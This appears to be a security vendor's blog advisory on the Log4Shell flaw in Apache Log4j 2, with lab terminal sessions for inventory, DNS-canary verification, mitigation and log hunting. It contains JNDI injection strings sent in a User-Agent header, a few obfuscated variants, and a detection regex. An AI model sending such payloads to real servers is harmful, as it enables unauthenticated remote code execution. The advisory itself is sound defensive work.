Attack Simulation & Response

Red TeamEnd-to-end simulation using real adversary tradecraft Blue TeamThreat hunting, monitoring and incident response Purple TeamGrow your offensive and defensive teams together Ransomware Response24/7 emergency response for encrypted systems

Security Testing

Penetration TestingFinding flaws in web, network and mobile applications Enterprise Penetration TestingRegulation-aligned testing for finance and large enterprises Vulnerability ScanningContinuous scanning, prioritised with CVSS
A free scoping call tailored to your organisation.
All services Get a quote

Forensic Threat Hunting

PotreX VestigeHidden threat scanning across disk, memory and forensic traces

Threat Intelligence

PotreX ArgosDark web and leak-focused threat intelligence

Penetration Testing

PotreX BallistaEnterprise penetration testing platform with finding management
Every product can be deployed on-premises or in the cloud.
All products Request a demo
Services
Products
Blog Contact Us Sign In
Home / Blog / CVE-2021-44228
Vulnerability Analysis

Log4Shell: When One Log Line Hands Over the Server

Summary

Apache Log4j 2 resolves ${...} expressions found inside log messages through a feature called lookups. Because JNDI is one of the supported lookups, any user input that gets logged can trigger the download of a Java class from a remote server.

All an attacker has to do is place ${jndi:ldap://server/a} into a field the application writes to its log — a User-Agent header, a username, a search box. The result is unauthenticated remote code execution.

Responsible use

The verification below uses a DNS canary that neither executes code nor exfiltrates data. Repeat these commands only in an isolated lab or on systems you have written permission to test.

Advisory details

CVECVE-2021-44228 (Log4Shell)
ComponentApache Log4j 2 — message lookups / JNDI
ClassCWE-502 · Unsafe data resolution leading to remote code execution
SeverityCRITICAL · CVSS 10.0
Affected versions2.0-beta9 – 2.14.1
Fixed versions2.17.1 (Java 8) · 2.12.4 (Java 7) · 2.3.2 (Java 6)
PrerequisiteUser input reaching any log statement

Root cause: the log message is interpreted

Before a message is written to disk, Log4j expands the variable expressions inside it. The jndi lookup resolves an object from the address it is given; when the LDAP response points at a Java class, the JVM downloads and loads it.

The design flaw is simple: text that should be treated as data is interpreted as an instruction. Without a single line of application code changing, every input path becomes attack surface purely because of a library version.

Inventory and canary verification

First, work out which Log4j versions exist on the system — including the ones bundled inside fat JARs.

analyst@ubuntu: ~/labs/log4j –□✕
analyst@ubuntu:~/labs/log4j$ find / -name 'log4j-core-*.jar' 2>/dev/null | xargs -I{} basename {}
log4j-core-2.14.1.jar
log4j-core-2.17.1.jar

#  two versions present: 2.14.1 is in the affected range

Figure 1 — Log4j version inventory on the file system

Verification uses a harmless DNS canary: the payload runs no code, it simply waits for the target to resolve a hostname we control.

analyst@ubuntu: ~/labs/log4j –□✕
analyst@ubuntu:~/labs/log4j$ curl -s -o /dev/null -H 'User-Agent: ${jndi:ldap://canary.lab.local/potrex}' http://app.lab.local/search && sudo timeout 10 tcpdump -ni any port 53 | grep canary
11:42:07.118 IP 10.10.3.21.51455 > 10.10.3.5.53: A? canary.lab.local

#  the application server resolved our canary
#  logged input is being evaluated — vulnerability confirmed

Figure 2 — Harmless verification with a DNS canary

Impact

The behaviour proven here becomes remote code execution the moment an LDAP payload is served from the same host. If the application server can reach the internet over DNS or LDAP, exploitation takes a single unauthenticated request.

Remediation and verification

Upgrading is the permanent fix. Where the upgrade window is long, the JVM flag that disables message lookups is an effective stop-gap.

analyst@ubuntu: ~/labs/log4j –□✕
analyst@ubuntu:~/labs/log4j$ java -Dlog4j2.formatMsgNoLookups=true -jar app.jar & sleep 3; curl -s -o /dev/null -H 'User-Agent: ${jndi:ldap://canary.lab.local/t2}' http://app.lab.local/search; sudo timeout 8 tcpdump -ni any port 53 | grep -c canary
0

#  not a single query reached the canary — lookups disabled
#  upgrade to 2.17.1 scheduled as the permanent fix

Figure 3 — The canary stays silent once lookups are disabled

After upgrading, repeat the same test and restrict egress traffic: application servers rarely need outbound LDAP or RMI.

Log hunting

Exploitation attempts leave a distinctive pattern in access logs. Because of obfuscation techniques, searching for a plain jndi: string is not enough.

analyst@ubuntu: /var/log/nginx –□✕
analyst@ubuntu:/var/log/nginx$ zgrep -ohiE '\$\{[^}]{0,40}(jndi|lower:|upper:|env:)[^}]{0,60}' access.log* | sort | uniq -c | sort -rn | head -n 5
    412 ${jndi:ldap://
     87 ${${lower:j}ndi:
     19 ${jndi:${lower:r}mi://

#  obfuscated variants present — WAF signatures updated

Figure 4 — Extracting exploitation attempts from access logs

Conclusion

Log4Shell is the clearest example of supply chain risk: your own code can be flawless and a single dependency still drags you into critical territory. Software inventory (SBOM), dependency monitoring and egress filtering belong in the baseline controls of every organisation.

Sources

Test it in your own environment

We test the Java applications on your external surface across every input that eventually reaches a log line.

Call now · 0850 551 01 01 WhatsApp · Send a message Email · info@potrex.com